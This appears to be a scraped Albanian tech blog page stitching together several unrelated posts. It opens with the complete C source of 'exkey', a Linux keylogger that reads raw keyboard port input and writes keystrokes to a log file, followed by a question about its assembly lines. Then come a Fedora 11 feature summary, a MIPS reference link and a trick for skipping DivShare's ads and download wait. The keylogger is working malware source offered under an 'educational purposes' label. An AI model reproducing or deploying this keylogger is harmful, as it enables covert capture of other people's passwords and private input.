/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}
Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..
Edhe pak dite na ndajn nga versioni zyrtar i Fedora 11 /emri ne kod Leonida.

Ky version i ri eshte deshmuar qe ne beta qe ka ardhur me inovacione dhe sherbime shume te mira.
Vjen me fielsystemin e ri Ext4 i cili ka performanca shume me te larta se Ext3 dhe nje menaxhim hapesire me te mire, Serverin e ri X (1.6) me nje suport me te mire grafik, nje boot ne kohe rekord prej 20 sekondash dhe DNSSEC extention i preinstaluar duke shmangur ne kete menyre nje rrezik trendy sot persa i perket sulmeve te DNS-ve.
RPM 4.6 qe vjen me nje miksim te paketave te instalimit midis atyre te vjetrave dhe atyre te openSUSE me YaST duke i shtuar kesaj Presto i cili lejon te perdoren dhe DeltaRPM , suport i ri per skedat ATI Radeon dhe ne pergjithesi me 28 inovacione te konfirmuara nga webi zyrtar.
http://fedoraproject.org/wiki/Releases/11/FeatureList
Me siguri eshte nje “Must Have” OS
Titulli flet vet,
Ketu mund ta shkarkoni referencen e shkurter e marre nga webi zyrtar.
Shkarko
Ndersa me poshte mund te shkarkoni referencen e plote.
http://albanianwizard.org/ngarkime/referencaeplotemips.pdf
Isha duke bere prova me divshare dhe kuriozia ishte qe mund te kalosh direkt tek faqa e shkarkimit pa klikuar neper ads, apo faqe ridrejtuese dhe pa pritur sekondat.
SI?
Marrim nje link te tipit:
divshare[dot]com/download/6642219-284
Do jemi tek nje faqe e do na hapet nje popup automatikisht. [rreklama]
Mbas kesaj do te ridrejtohemi tek nje faqe tjeter ku do jene sekondat
divshare[dot]com/i/6642219-284
E me ne fund, do te ridrejothemi tek faqa e shkarkimit
divshare[dot]com/download/launch/6642219-284
Po sikur ^?^?
![]()
Nese shkojm direkt tek faqa e fundit
divshare[dot]com/download/launch/6642219-284
Do te hapet nje popup, mbylleni dhe shkruajeni dhe njehere linkun dhe downloadi do te filloj ne çast.
Pra
1. Fusni ne web browser
divshare[dot]com/download/launch/6642219-284
Mbas kesaj automatikisht divshare do e modifikoj linkun dhe do e kthej ne:
divshare[dot]com/download/6642219-284
Kurse ne qe e kemi te kopjuar ne te njejtin moment do i bejm perseri paste tek bari i browserit
divshare[dot]com/download/launch/6642219-284
NE perfundim, marrim nje link normal dhe midis download dhe numrave shtojm /launch/ dhe i bejm paste 2 here ne browser (tek bari i adreses) dhe gjithçka mbaroi, shkarkimi duhet te nisi menjehere.
ENJOY
PS- Meqenese kemi te bejm me divshare po e fusim tek kategoria Turpi i Turpeve. [divshare zgjohu, bota perdor linqe te modifikueshme (i brendshmi nga serveri dhe jo external link)]